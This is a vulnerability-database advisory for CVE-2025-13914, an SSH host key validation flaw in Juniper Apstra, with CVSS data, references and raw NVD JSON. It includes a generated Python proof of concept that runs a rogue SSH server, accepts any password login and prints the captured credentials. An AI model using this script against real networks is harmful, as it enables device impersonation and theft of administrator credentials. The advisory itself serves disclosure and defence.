CVE-2025-13914

Description

A Key Exchange without Entity Authentication vulnerability in the SSH implementation of Juniper Networks Apstra allows a unauthenticated, MITM attacker to impersonate managed devices. Due to insufficient SSH host key validation an attacker can perform a machine-in-the-middle attack on the SSH connections from Apstra to managed devices, enabling an attacker to impersonate a managed device and capture user credentials. This issue affects all versions of Apstra before 6.1.1.

CVSS Details

CVSS Score

8.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Juniper Networks Apstra < 6.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import paramiko
import socket
import threading

# Generated PoC for CVE-2025-13914
# This script simulates a malicious SSH server to intercept credentials
# due to lack of host key validation on the client (Apstra).

class SSHMitMServer(paramiko.ServerInterface):
    def check_auth_password(self, username, password):
        # Log the captured credentials
        print(f"[+] Captured Credentials -> Username: {username}, Password: {password}")
        # Return success to keep the connection open for further interaction
        return paramiko.AUTH_SUCCESSFUL

    def get_allowed_auths(self, username):
        return 'password'

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

def start_mitm_server(host_key):
    server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_sock.bind(('0.0.0.0', 22))
    server_sock.listen(100)
    print("[*] Malicious SSH Server listening on port 22...")

    try:
        while True:
            client_sock, addr = server_sock.accept()
            print(f"[+] Connection intercepted from: {addr[0]}")
            transport = paramiko.Transport(client_sock)
            transport.add_server_key(host_key)
            try:
                server = SSHMitMServer()
                transport.start_server(server=server)
            except Exception as e:
                print(f"[-] Error starting server: {e}")
                transport.close()
    except KeyboardInterrupt:
        server_sock.close()

if __name__ == "__main__":
    # Generate a new RSA key for the attacker
    print("[*] Generating malicious host key...")
    key = paramiko.RSAKey.generate(2048)
    start_mitm_server(key)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13914
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13914
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13914/
[4] VulDB https://vuldb.com/cve/CVE-2025-13914
[5] https://kb.juniper.net/JSA107862

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13914", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:22.697", "lastModified": "2026-04-13T15:02:27.760", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Key Exchange without Entity Authentication vulnerability in the SSH implementation of Juniper Networks Apstra allows a unauthenticated, MITM \n\nattacker to impersonate managed devices.\n\nDue to insufficient SSH host key validation an attacker can perform a machine-in-the-middle attack on the SSH connections from Apstra to managed devices, enabling an attacker to impersonate a managed device and capture user credentials.\n\nThis issue affects all versions of Apstra before 6.1.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:X/RE:M/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-322"}]}], "references": [{"url": "https://kb.juniper.net/JSA107862", "source": "[email protected]"}]}}